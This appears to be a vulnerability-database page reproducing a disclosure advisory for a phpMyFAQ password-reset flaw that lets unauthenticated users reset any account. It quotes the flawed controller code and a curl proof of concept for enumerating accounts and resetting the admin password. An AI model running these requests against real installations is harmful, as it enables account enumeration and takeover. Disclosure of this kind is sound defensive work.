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Open-source package vulnerability · Composer (PHP)

CVE-2026-35675: phpMyFAQ: Missing Password Reset Token Allows Account Takeover via Username/Email Enumeration

highCVSS 3.1 8.2GHSA-w9xh-5f39-vq89

Summary An authentication bypass vulnerability in phpMyFAQ allows any unauthenticated attacker to reset the password of any user account, including SuperAdmin accounts. By sending a PUT request with just a valid username and associated email address to /api/user/password/update, an attacker receives a new plaintext password via email without any token verification, rate limiting, or email confirmation.

Published May 20, 2026 · Updated May 31, 2026

Affected packages

thorsten/phpmyfaq

Ecosystem
Composer (PHP)
Affected
< 4.1.3
Fixed in
4.1.3
Check
composer show thorsten/phpmyfaq

phpmyfaq/phpmyfaq

Ecosystem
Composer (PHP)
Affected
< 4.1.3
Fixed in
4.1.3
Check
composer show phpmyfaq/phpmyfaq

Advisory details

From the GitHub Advisory Database (CC BY 4.0).

Summary

An authentication bypass vulnerability in phpMyFAQ allows any unauthenticated attacker to reset the password of any user account, including SuperAdmin accounts. By sending a PUT request with just a valid username and associated email address to /api/user/password/update, an attacker receives a new plaintext password via email without any token verification, rate limiting, or email confirmation. This enables complete account takeover of any user, including full administrative access.

Details

File: phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/UnauthorizedUserController.php Lines: 56-130 The updatePassword() method at line 56 accepts PUT requests to /user/password/update with only username and email in the JSON body: #[Route(path: 'user/password/update', name: 'api.private.user.password', methods: ['PUT'])]

public function updatePassword(Request $request): JsonResponse
{
    $data = json_decode($request->getContent());
    $username = trim((string) Filter::filterVar($data->username, FILTER_SANITIZE_SPECIAL_CHARS));
    $email = trim((string) Filter::filterEmail($data->email));
    if ($username !== '' && $username !== '0' && ($email !== '' && $email !== '0')) {
        $user = ($this->currentUserFactory ?? CurrentUser::getCurrentUser(...))($this->configuration);
        $loginExist = $user->getUserByLogin($username);
        if ($loginExist && $email === $user->getUserData('email')) {
            // NO TOKEN CHECK
            // NO RATE LIMITING
            // NO EMAIL VERIFICATION
            $newPassword = $user->createPassword();
            $user->changePassword($newPassword);
            $mail->send(); // New password sent in plaintext
        }
    }
}

Root Causes:

  1. No time-limited cryptographic token required for password reset
  2. No rate limiting on the endpoint (allows unlimited username/email enumeration)
  3. No verification email sent to original address before reset
  4. New password sent in plaintext email without any confirmation step

PoC

Prerequisites: None (unauthenticated attack) Step 1 - Username/Email Enumeration (no rate limiting): Test with wrong email - reveals if user exists

curl -X PUT -H "Content-Type: application/json" \
  -d '{"username":"admin","email":"[email protected]"}' \
  http://target/phpmyfaq/api/user/password/update

Response: {"error":"The email doesn't exist..."} <- user exists but wrong email

OR

Response: {"error":"The user doesn't exist"} <- user doesn't exist

Step 2 - Password Reset (no token required):

curl -X PUT -H "Content-Type: application/json" \
  -d '{"username":"admin","email":"[email protected]"}' \
  http://target/phpmyfaq/api/user/password/update

Response: {"success":"Email has been sent."} The new plaintext password is sent to [email protected]

Step 3 - Account Takeover: Attacker now has valid credentials and can log in as SuperAdmin.

Impact

Aspect Details Vulnerability Type Authentication Bypass / Weak Password Recovery Mechanism (CWE-640) Attack Vector Network (unauthenticated HTTP request) Privileges Required None User Interaction None Scope Full administrative access to phpMyFAQ Confidentiality High - attacker gains full access to all user data and FAQ content Integrity High - attacker can modify all content and settings Availability High - attacker can lock out legitimate users Who is Impacted:

  • All phpMyFAQ administrators using default installations
  • Any organization using phpMyFAQ for internal knowledge bases
  • End users whose accounts could be compromised
  • Organizations relying on phpMyFAQ for customer support FAQs

Attack Complexity: Very Low - no special knowledge or conditions required beyond knowing/guessing a valid username and associated email address

Credited to cyberHunter127.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology

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